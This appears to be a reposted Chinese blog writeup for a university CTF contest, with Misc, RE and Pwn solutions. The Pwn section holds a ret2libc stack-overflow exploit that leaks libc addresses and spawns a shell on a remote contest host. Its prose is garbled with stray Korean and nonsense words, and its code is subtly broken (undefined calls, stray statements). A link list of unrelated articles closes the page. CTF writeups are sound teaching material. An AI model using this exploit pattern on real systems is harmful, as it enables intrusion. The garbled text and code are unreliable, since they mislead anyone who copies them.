博客
关于我
广东外语外贸大学第三届网络安全大赛Writeup
阅读量:565 次
发布时间:2019-03-09

本文共 1775 字,大约阅读时间需要 5 分钟。

广东外语外贸大学第三届网络安全大赛 Writeup

Msic

题目描述:这是一个基于数学计算的简单题目,系统会要求回答150个计算题,每个题目都有严格的作答时间限制。解决方法是通过脚本自动化操作。

解决方法

from pwn import *context.log_level = 'debug'p = remote("183.129.189.60", 10034)n = 0while n < 150:    p.recvuntil("Math problem: ")    math = p.recvuntil("=")[:-2]    p.sendline(str(eval(math)))    sleep(1)    n += 1else:    p.sendline("cat flag")

RE

题目描述:这是一个涉及 Python 反编译的题目。通过反编译工具可以获取原始代码。

解密思路

反编译工具(如 Easy Python Decompiler)可以帮助我们解密加密的 Python 源码。源码中的算法主要包含两个部分:

  • 加密算法

    num = ((input1[i] + i) % 128 + 128) % 128
    简化为:
    (input1[i] + i) % 128

  • 解密算法

    通过逆向操作,从尾部到头部对列表进行异或操作可以恢复原字符串。

  • 最终解密代码

    a = ['\x1f', '\x12', '\x1d', '(', '0', '4', '\x01', '\x06', '\x14', '4', ',', '\x1b', 'U', '?', 'o', '6', '*', ':', '\x01', 'D', ';', '%', '\x13']l = len(a)la = map(ord, a)for i in range(l-1, 0, -1):    a[i-1] = a[i-1] ^ a[i]code = ''for i in range(l):    num = (a[i] - i) % 128    code += chr(num)print(code)

    Pwn

    题目描述:这是一个简单的栈溢出题目。漏洞点在于溢出变量的大小,需要找到合适的yz为平台搭建攻击。

    解决方法

    通过 신중地 构造 I 字符串,覆写 EIP 地址,最终触发 ïþ模式。通过 GDB attache 能够 debugger 求出 PERSYSTEMHERE 地址,并通过构造 payload trigger /bin/sh 命令。

    最终EXP

    # coding:utf-8from pwn import *context.log_level = 'debug'elf = ELF('./easy_pwn')local = 0if local:    p = process('./easy_pwn')    libc = elf.libcelse:    p = remote("183.129.189.60", "10025")    libc = ELF('./libc6-i386_2.23.so')main = 0x80492F5def sda(a, s):    return p.sendafter(a, s)def sla(a, s):    return p.sendlineafter(a, s)def rc(s):    return p.recv(s)def ru(s):    return p.recvuntil(s)pay = 'I' * 0x10pay += p32(elf.plt['puts']) + p32(main) + p32(elf.got['puts'])sl(pay)ru('\n')puts_addr = u32(rc(4))libc_base = puts_addr - libc.symbols['puts']system = libc_base + libc.symbols['system']binsh = libc_base + libc.search("/bin/sh\x00").next()harray();sla(pay)p.interactive()

    转载地址:http://rlppz.baihongyu.com/

    你可能感兴趣的文章
    Nginx 我们必须知道的那些事
    查看>>
    oauth2-shiro 添加 redis 实现版本
    查看>>
    OAuth2.0_授权服务配置_Spring Security OAuth2.0认证授权---springcloud工作笔记140
    查看>>
    Objective-C实现A-Star算法(附完整源码)
    查看>>
    Objective-C实现atoi函数功能(附完整源码)
    查看>>
    Objective-C实现base64加密和base64解密算法(附完整源码)
    查看>>
    Objective-C实现base85 编码算法(附完整源码)
    查看>>
    Objective-C实现basic graphs基本图算法(附完整源码)
    查看>>
    Objective-C实现BCC校验计算(附完整源码)
    查看>>
    Objective-C实现bead sort珠排序算法(附完整源码)
    查看>>
    Objective-C实现BeadSort珠排序算法(附完整源码)
    查看>>
    Objective-C实现bellman ford贝尔曼福特算法(附完整源码)
    查看>>
    Objective-C实现bellman-ford贝尔曼-福特算法(附完整源码)
    查看>>
    Objective-C实现bellman-ford贝尔曼-福特算法(附完整源码)
    查看>>
    Objective-C实现BellmanFord贝尔曼-福特算法(附完整源码)
    查看>>
    Objective-C实现BF算法 (附完整源码)
    查看>>
    Objective-C实现binary exponentiation二进制幂运算算法(附完整源码)
    查看>>
    Objective-C实现binomial coefficient二项式系数算法(附完整源码)
    查看>>
    Objective-C实现bogo sort排序算法(附完整源码)
    查看>>
    Objective-C实现CaesarsCiphe凯撒密码算法(附完整源码)
    查看>>